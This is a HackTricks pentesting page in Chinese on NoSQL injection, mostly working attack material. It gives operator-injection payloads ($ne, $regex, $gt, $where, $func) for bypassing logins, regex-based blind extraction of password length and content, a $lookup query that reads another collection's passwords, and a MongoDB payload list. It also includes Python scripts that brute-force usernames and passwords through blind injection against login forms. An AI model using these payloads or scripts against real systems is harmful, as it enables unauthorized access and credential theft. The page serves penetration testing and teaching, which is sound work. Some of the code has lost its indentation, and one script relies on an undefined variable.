hacktricks/pentesting-web/nosql-injection.md

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NoSQL注入


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NoSQL数据库提供比传统SQL数据库更宽松的一致性限制。通过减少关系约束和一致性检查的需求NoSQL数据库通常提供性能和扩展优势。然而这些数据库仍然可能容易受到注入攻击即使它们没有使用传统的SQL语法。

利用

在PHP中你可以通过将发送的参数从 parameter=foo 更改为 parameter[arrName]=foo 来发送一个数组。

利用基于添加一个操作符

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

基本身份验证绕过

使用不等于($ne或大于$gt

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

提取长度信息

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

提取数据信息

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP 任意函数执行

使用 MongoLite 库(默认使用)的 $func 操作符,可能可以执行任意函数,如此报告中所述。

"user":{"$func": "var_dump"}

从不同的集合中获取信息

可以使用 $lookup 从不同的集合中获取信息。在下面的例子中,我们从一个名为 users不同集合中读取数据,并获取所有密码匹配通配符的条目结果

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


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盲目 NoSQL

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

MongoDB 载荷

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

工具

从POST登录中暴力破解用户名和密码

这是一个简单的脚本,你可以修改它,但前面提到的工具也可以完成这个任务。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break

if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames


for u in get_usernames():
get_password(u)

参考资料

通过 htARTE (HackTricks AWS Red Team Expert)从零到英雄学习AWS黑客攻击

其他支持HackTricks的方式


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